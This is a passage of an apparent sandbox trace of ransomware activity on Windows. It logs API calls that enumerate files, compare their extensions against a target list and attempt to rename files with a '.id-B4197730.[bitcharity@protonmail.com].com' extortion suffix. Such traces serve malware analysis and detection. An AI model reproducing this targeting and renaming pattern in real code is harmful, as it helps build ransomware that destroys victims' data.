Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0139.349] lstrlenW (lpString=".dbf") returned 4 [0139.349] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0139.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0139.349] lstrlenW (lpString=".1cd") returned 4 [0139.349] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0139.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0139.349] lstrlenW (lpString=".jpg") returned 4 [0139.350] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0139.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0139.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0139.350] lstrlenW (lpString=".doc") returned 4 [0139.350] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0139.350] lstrlenW (lpString=".docx") returned 5 [0139.350] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0139.350] lstrlenW (lpString=".pdf") returned 4 [0139.350] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0139.350] lstrlenW (lpString=".xls") returned 4 [0139.350] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0139.350] lstrlenW (lpString=".xlsx") returned 5 [0139.350] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0139.350] lstrlenW (lpString=".ppt") returned 4 [0139.350] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0139.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0139.350] lstrlenW (lpString=".zip") returned 4 [0139.350] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0139.350] lstrlenW (lpString=".rar") returned 4 [0139.350] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0139.350] lstrlenW (lpString=".bz2") returned 4 [0139.350] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0139.350] lstrlenW (lpString=".7z") returned 3 [0139.350] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0139.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0139.350] lstrlenW (lpString=".dbf") returned 4 [0139.350] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0139.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0139.350] lstrlenW (lpString=".1cd") returned 4 [0139.351] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0139.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0139.351] lstrlenW (lpString=".jpg") returned 4 [0139.351] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0139.351] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0139.351] lstrlenW (lpString="base_altgr.xml") returned 14 [0139.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0139.606] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=3524) returned 1 [0139.606] CloseHandle (hObject=0x10c0) returned 1 [0139.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0139.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0139.606] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0139.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0139.606] lstrlenW (lpString=".doc") returned 4 [0139.606] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0139.606] lstrlenW (lpString=".docx") returned 5 [0139.606] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0139.607] lstrlenW (lpString=".pdf") returned 4 [0139.607] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0139.607] lstrlenW (lpString=".xls") returned 4 [0139.607] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0139.607] lstrlenW (lpString=".xlsx") returned 5 [0139.607] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0139.607] lstrlenW (lpString=".ppt") returned 4 [0139.607] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0139.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0139.607] lstrlenW (lpString=".zip") returned 4 [0139.607] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0139.607] lstrlenW (lpString=".rar") returned 4 [0139.607] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0139.607] lstrlenW (lpString=".bz2") returned 4 [0139.607] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0139.607] lstrlenW (lpString=".7z") returned 3 [0139.607] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0139.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0139.607] lstrlenW (lpString=".dbf") returned 4 [0139.607] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0139.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0139.607] lstrlenW (lpString=".1cd") returned 4 [0139.607] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0139.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0139.607] lstrlenW (lpString=".jpg") returned 4 [0139.607] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0139.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0139.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0139.608] lstrlenW (lpString=".doc") returned 4 [0139.608] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0139.608] lstrlenW (lpString=".docx") returned 5 [0139.608] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0139.608] lstrlenW (lpString=".pdf") returned 4 [0139.608] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0139.608] lstrlenW (lpString=".xls") returned 4 [0139.608] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0139.608] lstrlenW (lpString=".xlsx") returned 5 [0139.608] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0139.608] lstrlenW (lpString=".ppt") returned 4 [0139.608] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0139.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0139.608] lstrlenW (lpString=".zip") returned 4 [0139.608] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0139.608] lstrlenW (lpString=".rar") returned 4 [0139.608] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0139.608] lstrlenW (lpString=".bz2") returned 4 [0139.608] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0139.608] lstrlenW (lpString=".7z") returned 3 [0139.608] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0139.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0139.608] lstrlenW (lpString=".dbf") returned 4 [0139.608] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0139.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0139.608] lstrlenW (lpString=".1cd") returned 4 [0139.608] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0139.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0139.609] lstrlenW (lpString=".jpg") returned 4 [0139.609] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0139.609] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0139.609] lstrlenW (lpString="base_jpn.xml") returned 12 [0139.609] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0139.638] GetFileSizeEx (in: hFile=0x103c, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=804) returned 1 [0139.638] CloseHandle (hObject=0x103c) returned 1 [0139.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0139.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0139.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0139.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0139.638] lstrlenW (lpString=".doc") returned 4 [0139.638] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0139.639] lstrlenW (lpString=".docx") returned 5 [0139.639] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0139.639] lstrlenW (lpString=".pdf") returned 4 [0139.639] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0139.639] lstrlenW (lpString=".xls") returned 4 [0139.639] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0139.639] lstrlenW (lpString=".xlsx") returned 5 [0139.639] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0139.639] lstrlenW (lpString=".ppt") returned 4 [0139.639] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0139.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0139.639] lstrlenW (lpString=".zip") returned 4 [0139.639] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0139.639] lstrlenW (lpString=".rar") returned 4 [0139.639] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0139.639] lstrlenW (lpString=".bz2") returned 4 [0139.639] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0139.639] lstrlenW (lpString=".7z") returned 3 [0139.639] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0139.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0139.639] lstrlenW (lpString=".dbf") returned 4 [0139.639] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0139.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0139.639] lstrlenW (lpString=".1cd") returned 4 [0139.639] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0139.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0139.639] lstrlenW (lpString=".jpg") returned 4 [0139.639] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0139.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0139.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0139.640] lstrlenW (lpString=".doc") returned 4 [0139.640] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0139.640] lstrlenW (lpString=".docx") returned 5 [0139.640] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0139.640] lstrlenW (lpString=".pdf") returned 4 [0139.640] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0139.640] lstrlenW (lpString=".xls") returned 4 [0139.640] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0139.640] lstrlenW (lpString=".xlsx") returned 5 [0139.640] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0139.640] lstrlenW (lpString=".ppt") returned 4 [0139.640] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0139.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0139.640] lstrlenW (lpString=".zip") returned 4 [0139.640] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0139.640] lstrlenW (lpString=".rar") returned 4 [0139.640] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0139.640] lstrlenW (lpString=".bz2") returned 4 [0139.640] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0139.640] lstrlenW (lpString=".7z") returned 3 [0139.640] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0139.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0139.640] lstrlenW (lpString=".dbf") returned 4 [0139.640] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0139.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0139.641] lstrlenW (lpString=".1cd") returned 4 [0139.641] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0139.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0139.641] lstrlenW (lpString=".jpg") returned 4 [0139.641] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0139.641] lstrcmpiW (lpString1=".dat", lpString2=".com") returned 1 [0139.641] lstrlenW (lpString="hwrenclm.dat") returned 12 [0139.641] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0139.911] GetFileSizeEx (in: hFile=0x103c, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=498624) returned 1 [0139.911] CloseHandle (hObject=0x103c) returned 1 [0139.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0139.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0139.914] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0139.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0139.917] lstrlenW (lpString=".doc") returned 4 [0139.917] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0139.917] lstrlenW (lpString=".docx") returned 5 [0139.917] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0139.917] lstrlenW (lpString=".pdf") returned 4 [0139.917] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0139.917] lstrlenW (lpString=".xls") returned 4 [0139.917] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0139.918] lstrlenW (lpString=".xlsx") returned 5 [0139.918] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0139.918] lstrlenW (lpString=".ppt") returned 4 [0139.918] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0139.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0139.918] lstrlenW (lpString=".zip") returned 4 [0139.918] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0139.918] lstrlenW (lpString=".rar") returned 4 [0139.918] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0139.918] lstrlenW (lpString=".bz2") returned 4 [0139.918] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0139.918] lstrlenW (lpString=".7z") returned 3 [0139.918] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0139.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0139.918] lstrlenW (lpString=".dbf") returned 4 [0139.918] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0139.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0139.918] lstrlenW (lpString=".1cd") returned 4 [0139.918] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0139.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0139.918] lstrlenW (lpString=".jpg") returned 4 [0139.918] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0139.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0139.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0139.918] lstrlenW (lpString=".doc") returned 4 [0139.918] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0139.919] lstrlenW (lpString=".docx") returned 5 [0139.919] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0139.919] lstrlenW (lpString=".pdf") returned 4 [0139.919] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0139.919] lstrlenW (lpString=".xls") returned 4 [0139.919] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0139.919] lstrlenW (lpString=".xlsx") returned 5 [0139.919] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0139.919] lstrlenW (lpString=".ppt") returned 4 [0139.919] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0139.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0139.919] lstrlenW (lpString=".zip") returned 4 [0139.919] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0139.919] lstrlenW (lpString=".rar") returned 4 [0139.919] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0139.919] lstrlenW (lpString=".bz2") returned 4 [0139.919] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0139.919] lstrlenW (lpString=".7z") returned 3 [0139.919] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0139.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0139.919] lstrlenW (lpString=".dbf") returned 4 [0139.919] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0139.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0139.919] lstrlenW (lpString=".1cd") returned 4 [0139.919] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0139.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0139.919] lstrlenW (lpString=".jpg") returned 4 [0139.919] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0139.919] lstrcmpiW (lpString1=".dat", lpString2=".com") returned 1 [0139.920] lstrlenW (lpString="hwrusash.dat") returned 12 [0139.920] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0140.384] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=3380096) returned 1 [0140.384] CloseHandle (hObject=0x10c8) returned 1 [0140.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0140.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0140.384] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0140.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0140.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0140.384] lstrlenW (lpString=".doc") returned 4 [0140.384] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0140.384] lstrlenW (lpString=".docx") returned 5 [0140.384] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0140.384] lstrlenW (lpString=".pdf") returned 4 [0140.384] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0140.384] lstrlenW (lpString=".xls") returned 4 [0140.384] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0140.384] lstrlenW (lpString=".xlsx") returned 5 [0140.384] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0140.384] lstrlenW (lpString=".ppt") returned 4 [0140.385] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0140.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0140.385] lstrlenW (lpString=".zip") returned 4 [0140.385] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0140.385] lstrlenW (lpString=".rar") returned 4 [0140.385] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0140.385] lstrlenW (lpString=".bz2") returned 4 [0140.385] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0140.385] lstrlenW (lpString=".7z") returned 3 [0140.385] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0140.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0140.385] lstrlenW (lpString=".dbf") returned 4 [0140.385] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0140.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0140.385] lstrlenW (lpString=".1cd") returned 4 [0140.385] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0140.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0140.385] lstrlenW (lpString=".jpg") returned 4 [0140.385] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0140.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0140.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0140.385] lstrlenW (lpString=".doc") returned 4 [0140.385] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0140.385] lstrlenW (lpString=".docx") returned 5 [0140.385] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0140.385] lstrlenW (lpString=".pdf") returned 4 [0140.385] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0140.385] lstrlenW (lpString=".xls") returned 4 [0140.386] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0140.386] lstrlenW (lpString=".xlsx") returned 5 [0140.386] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0140.386] lstrlenW (lpString=".ppt") returned 4 [0140.386] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0140.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0140.386] lstrlenW (lpString=".zip") returned 4 [0140.386] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0140.386] lstrlenW (lpString=".rar") returned 4 [0140.386] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0140.386] lstrlenW (lpString=".bz2") returned 4 [0140.386] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0140.386] lstrlenW (lpString=".7z") returned 3 [0140.386] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0140.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0140.386] lstrlenW (lpString=".dbf") returned 4 [0140.386] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0140.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0140.386] lstrlenW (lpString=".1cd") returned 4 [0140.386] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0140.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 